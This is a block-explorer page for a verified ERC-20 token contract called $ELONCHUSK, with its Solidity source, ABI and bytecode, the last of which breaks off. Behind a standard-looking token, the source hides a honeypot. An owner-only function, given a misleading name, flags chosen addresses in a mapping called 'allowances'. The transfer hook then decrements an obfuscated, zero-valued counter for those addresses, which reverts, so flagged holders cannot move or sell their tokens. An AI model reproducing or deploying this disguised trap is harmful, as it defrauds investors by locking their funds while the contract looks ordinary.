ETH Price: $3,713.04 (+3.25%)

Token

ERC-20: $ELONCHUSK ($ELONCHUSK)
 

Overview

Max Total Supply

100,000,000 $ELONCHUSK

Holders

474

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.354764 $ELONCHUSK

Value
$0.00
0x835c3e8ca00e7617637adb45b24e3174e8ff7931
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
$ELONCHUSK

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-03
*/

/**
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "$ELONCHUSKOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is $ELONCHUSK the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer $ELONCHUSK amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: $ELONCHUSK decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "$ELONCHUSK: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount $ELONCHUSK exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address $ELONCHUSK");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from $ELONCHUSK the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "$ELONCHUSKERC20: approve from the zero address");
        require(spender != address(0), "ERC20: $ELONCHUSK approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract $ELONCHUSK is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifusyytsersetysss;

    constructor () ERC20("$ELONCHUSK", "$ELONCHUSK") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExommEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function gettuyiuurds(address _address) public view returns (uint256) {
        return ifusyytsersetysss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifusyytsersetysss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already $ELONCHUSK enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address $ELONCHUSK");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not $ELONCHUSK yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"gettuyiuurds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExommEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b506040518060400160405280600a81526020017f24454c4f4e434855534b000000000000000000000000000000000000000000008152506040518060400160405280600a81526020017f24454c4f4e434855534b0000000000000000000000000000000000000000000081525081600290816200008e9190620007cd565b508060039081620000a09190620007cd565b505050620000c3620000b76200017c60201b60201c565b6200018360201b60201c565b600160065f620000d86200017c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620001766200013b6200017c60201b60201c565b6200014b6200024660201b60201c565b600a62000159919062000a3a565b6305f5e1006200016a919062000a8a565b6200024e60201b60201c565b62000c0a565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b69062000b58565b60405180910390fd5b620002d25f8383620003be60201b60201c565b8060045f828254620002e5919062000b78565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000339919062000b78565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039f919062000bc3565b60405180910390a3620003ba5f83836200053760201b60201c565b5050565b620003d18383836200053c60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200043a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004d7575060085f620004556200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15620005325760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906200052c9062000bde565b91905055505b505050565b505050565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005e557607f821691505b602082108103620005fb57620005fa620005a0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200065f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000622565b6200066b868362000622565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620006b5620006af620006a98462000683565b6200068c565b62000683565b9050919050565b5f819050919050565b620006d08362000695565b620006e8620006df82620006bc565b8484546200062e565b825550505050565b5f90565b620006fe620006f0565b6200070b818484620006c5565b505050565b5b818110156200073257620007265f82620006f4565b60018101905062000711565b5050565b601f82111562000781576200074b8162000601565b620007568462000613565b8101602085101562000766578190505b6200077e620007758562000613565b83018262000710565b50505b505050565b5f82821c905092915050565b5f620007a35f198460080262000786565b1980831691505092915050565b5f620007bd838362000792565b9150826002028217905092915050565b620007d88262000569565b67ffffffffffffffff811115620007f457620007f362000573565b5b620008008254620005cd565b6200080d82828562000736565b5f60209050601f83116001811462000843575f84156200082e578287015190505b6200083a8582620007b0565b865550620008a9565b601f198416620008538662000601565b5f5b828110156200087c5784890151825560018201915060208501945060208101905062000855565b868310156200089c578489015162000898601f89168262000792565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200093b57808604811115620009135762000912620008b1565b5b6001851615620009235780820291505b80810290506200093385620008de565b9450620008f3565b94509492505050565b5f8262000955576001905062000a27565b8162000964575f905062000a27565b81600181146200097d57600281146200098857620009be565b600191505062000a27565b60ff8411156200099d576200099c620008b1565b5b8360020a915084821115620009b757620009b6620008b1565b5b5062000a27565b5060208310610133831016604e8410600b8410161715620009f85782820a905083811115620009f257620009f1620008b1565b5b62000a27565b62000a078484846001620008ea565b9250905081840481111562000a215762000a20620008b1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a468262000683565b915062000a538362000a2e565b925062000a827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000944565b905092915050565b5f62000a968262000683565b915062000aa38362000683565b925082820262000ab38162000683565b9150828204841483151762000acd5762000acc620008b1565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373205f8201527f24454c4f4e434855534b00000000000000000000000000000000000000000000602082015250565b5f62000b40602a8362000ad4565b915062000b4d8262000ae4565b604082019050919050565b5f6020820190508181035f83015262000b718162000b32565b9050919050565b5f62000b848262000683565b915062000b918362000683565b925082820190508082111562000bac5762000bab620008b1565b5b92915050565b62000bbd8162000683565b82525050565b5f60208201905062000bd85f83018462000bb2565b92915050565b5f62000bea8262000683565b91505f820362000bff5762000bfe620008b1565b5b600182039050919050565b6123938062000c185f395ff3fe60806040526004361061012d575f3560e01c806355b6ed5c116100aa5780638da5cb5b1161006e5780638da5cb5b1461041457806395d89b411461043e578063a457c2d714610468578063a9059cbb146104a4578063dd62ed3e146104e0578063f2fde38b1461051c57610134565b806355b6ed5c14610348578063641d601c1461038457806370a08231146103ac578063715018a6146103e85780638a8c523c146103fe57610134565b806323b872dd116100f157806323b872dd14610240578063313ce5671461027c578063342b85e4146102a657806339509351146102e25780634ada218b1461031e57610134565b806306fdde0314610138578063095ea7b314610162578063138355e01461019e57806318160ddd146101da5780631ce9029d1461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610544565b604051610159919061186a565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061191b565b6105d4565b6040516101959190611973565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf919061198c565b6105f1565b6040516101d191906119c6565b60405180910390f35b3480156101e5575f80fd5b506101ee610637565b6040516101fb91906119c6565b60405180910390f35b34801561020f575f80fd5b5061022a6004803603810190610225919061198c565b610640565b6040516102379190611973565b60405180910390f35b34801561024b575f80fd5b50610266600480360381019061026191906119df565b6106d4565b6040516102739190611973565b60405180910390f35b348015610287575f80fd5b506102906107ee565b60405161029d9190611a4a565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c7919061198c565b6107f6565b6040516102d99190611973565b60405180910390f35b3480156102ed575f80fd5b506103086004803603810190610303919061191b565b610848565b6040516103159190611973565b60405180910390f35b348015610329575f80fd5b506103326108ef565b60405161033f9190611973565b60405180910390f35b348015610353575f80fd5b5061036e60048036038101906103699190611a63565b610901565b60405161037b9190611973565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190611acb565b61092b565b005b3480156103b7575f80fd5b506103d260048036038101906103cd919061198c565b610a96565b6040516103df91906119c6565b60405180910390f35b3480156103f3575f80fd5b506103fc610adb565b005b348015610409575f80fd5b50610412610b62565b005b34801561041f575f80fd5b50610428610c49565b6040516104359190611b2a565b60405180910390f35b348015610449575f80fd5b50610452610c71565b60405161045f919061186a565b60405180910390f35b348015610473575f80fd5b5061048e6004803603810190610489919061191b565b610d01565b60405161049b9190611973565b60405180910390f35b3480156104af575f80fd5b506104ca60048036038101906104c5919061191b565b610de7565b6040516104d79190611973565b60405180910390f35b3480156104eb575f80fd5b5061050660048036038101906105019190611a63565b610e04565b60405161051391906119c6565b60405180910390f35b348015610527575f80fd5b50610542600480360381019061053d919061198c565b610e86565b005b60606002805461055390611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461057f90611b70565b80156105ca5780601f106105a1576101008083540402835291602001916105ca565b820191905f5260205f20905b8154815290600101906020018083116105ad57829003601f168201915b5050505050905090565b5f6105e76105e0610f7c565b8484610f83565b6001905092915050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f600454905090565b5f60085f61064c610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61071c610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107d757828110156107c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b990611c10565b60405180910390fd5b6107d6856107ce610f7c565b858403610f83565b5b6107e2858585611146565b60019150509392505050565b5f6012905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6108e5610854610f7c565b848460015f610861610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108e09190611c5b565b610f83565b6001905092915050565b60095f9054906101000a900460ff1681565b6008602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b610933610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610951610c49565b73ffffffffffffffffffffffffffffffffffffffff16146109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e90611cfe565b60405180910390fd5b8160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508160085f610a07610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ae3610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b01610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4e90611cfe565b60405180910390fd5b610b605f61133a565b565b610b6a610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b88610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590611cfe565b60405180910390fd5b60095f9054906101000a900460ff1615610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611d8c565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c8090611b70565b80601f0160208091040260200160405190810160405280929190818152602001828054610cac90611b70565b8015610cf75780601f10610cce57610100808354040283529160200191610cf7565b820191905f5260205f20905b815481529060010190602001808311610cda57829003601f168201915b5050505050905090565b5f8060015f610d0e610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf90611e1a565b60405180910390fd5b610ddc610dd3610f7c565b85858403610f83565b600191505092915050565b5f610dfa610df3610f7c565b8484611146565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8e610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610eac610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611cfe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611ea8565b60405180910390fd5b610f798161133a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f36565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fc4565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161113991906119c6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90612052565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611222576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611219906120e0565b60405180910390fd5b60095f9054906101000a900460ff1680611282575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806112d3575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061216e565b60405180910390fd5b5f81036113295761132483835f6113fd565b611335565b6113348383836113fd565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611462906121fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d09061228a565b60405180910390fd5b6114e4838383611672565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612318565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115f59190611c5b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165991906119c6565b60405180910390a361166c8484846117d6565b50505050565b61167d8383836117db565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116e557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611779575060085f6116f7610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156117d15760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906117cb90612336565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118175780820151818401526020810190506117fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61183c826117e0565b61184681856117ea565b93506118568185602086016117fa565b61185f81611822565b840191505092915050565b5f6020820190508181035f8301526118828184611832565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118b78261188e565b9050919050565b6118c7816118ad565b81146118d1575f80fd5b50565b5f813590506118e2816118be565b92915050565b5f819050919050565b6118fa816118e8565b8114611904575f80fd5b50565b5f81359050611915816118f1565b92915050565b5f80604083850312156119315761193061188a565b5b5f61193e858286016118d4565b925050602061194f85828601611907565b9150509250929050565b5f8115159050919050565b61196d81611959565b82525050565b5f6020820190506119865f830184611964565b92915050565b5f602082840312156119a1576119a061188a565b5b5f6119ae848285016118d4565b91505092915050565b6119c0816118e8565b82525050565b5f6020820190506119d95f8301846119b7565b92915050565b5f805f606084860312156119f6576119f561188a565b5b5f611a03868287016118d4565b9350506020611a14868287016118d4565b9250506040611a2586828701611907565b9150509250925092565b5f60ff82169050919050565b611a4481611a2f565b82525050565b5f